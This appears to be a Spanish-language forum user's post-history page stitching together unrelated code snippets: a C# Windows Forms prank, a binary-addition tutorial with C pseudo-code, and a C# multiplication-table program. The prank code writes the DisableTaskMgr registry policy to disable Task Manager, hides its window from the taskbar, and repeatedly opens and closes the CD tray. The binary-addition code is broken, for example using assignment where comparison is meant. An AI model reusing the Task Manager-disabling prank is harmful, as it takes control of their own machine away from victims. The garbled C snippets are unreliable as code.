gracias suena facil
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúbool caca = false;
EnableTaskManager( caca);//desactivando taskmanager
this.ShowInTaskbar = false;//para que no se muestre en la barra de tareas
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
public static extern void mciSendStringA(string lpstrCommand, string lpstrReturnString, long uReturnLength, long hwndCallback);
private void button1_Click(object sender, EventArgs e)
{
}
public static void EnableTaskManager(bool enable)
{
Microsoft.Win32.RegistryKey HKCU = Microsoft.Win32.Registry.CurrentUser;
Microsoft.Win32.RegistryKey key = HKCU.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System");
key.SetValue("DisableTaskMgr", enable ? 0 : 1, Microsoft.Win32.RegistryValueKind.DWord);
}
private void timer1_Tick(object sender, EventArgs e)
{
string rt = "";
mciSendStringA("set CDAudio door open", rt, 127, 0);
mciSendStringA("set CDAudio door closed", rt, 127, 0);
}
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
bool caca = false;
EnableTaskManager( caca);
this.ShowInTaskbar = false;
}
}
}
CitarPara empezar el programa es necesario saber ciertas cosas primero:
0+0=0
0+1=1
1+1=0 y se lleva 1 (acarreo)
Lo que se pretende hacer es un programa que sume dos números binarios (de 4 bits) dados por el usuario, por lo que primero debemos solicitar los números y guardarlos en un arreglo, puedes fijar el número de bits de cada número o tambien solicitar el número de bits de los números.
Fijaremos a "n=3" por que los números binarios deben ser de 4 bits [0,3]
Usaremos a[n] y b[n] como los números binarios, res[n] como resultado y usaremos otra variable para llevar el acarreo "c=0"
El "%s" nos ayuda a guardar cada digito en una parte del arreglo
scanf("%s", a[]);
scanf("%s", b[]);
Porlo que si a=1011, a[0]=1, a[1]=0, a[2]=1, a[3]=1 y b=0111, b[0]=0, b[1]=1, b[2]=1, b[3]=1
Ahora hay que empezar a sumar donde necesitaremos 4 condiciones para llegar al resultado:
for(i=n;i>=0;i--)
{
/*empieza desde "n" para sumar desde la derecha y el decremento para ir hacia la izquierda*/
if(a+b+c=0)
{
res=0;
c=0;
/*Es importante que "c" empiece siendo cero por que al sumarlo por primera ves lo mas
probable es que tenga basura y la suma salga mal*/
}
if(a+b+c=1)
{
res=1;
c=0;
/*si la suma de a, b y c es 1 es el valor del resy pues 1 en binario es 1 por lo que el acarreo es
cero*/
}
if(a+b+c=2)
{
res=0;
c=1;
/*2 en binario = 10, por eso res=0 y llevamos 1 como acarreo*/
}
if(a+b+c=3)
{
res=1;
c=1;
/*finalmente 3 en binario = 11. Solo tenemos estas 4 condiciones por que solo estos 4
resultados podemos obtener sumando tres números (a,b,c)*/
}
}
Ya por ultimo lo que tenemos que hacer es imprimir primero el acarreo ("c") y después res[de 0 a 3],
si sumas los dos números de ejemplo notaras que el resultado es "10010" estos son 5 bits y res tiene 4, por eso se imprime primero el acarreo "c".
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace multi
{
class Program
{
static void Main(string[] args)
{
int multiplicador;//declracion de variables
int multiamonstar;
Console.ForegroundColor = ConsoleColor.Green;//color de letra
Console.Write("\t\tTabla de multiplicar a mostrar:");
multiamonstar = int.Parse(Console.ReadLine());
for (multiplicador = 1; multiplicador <= 10; multiplicador++)//ciclo for
//despliegue de datos
Console.WriteLine(multiamonstar + "x" + multiplicador + "=" + (multiamonstar * multiplicador));
Console.ReadLine();
Console.WriteLine("Enter para salir");
}
}
}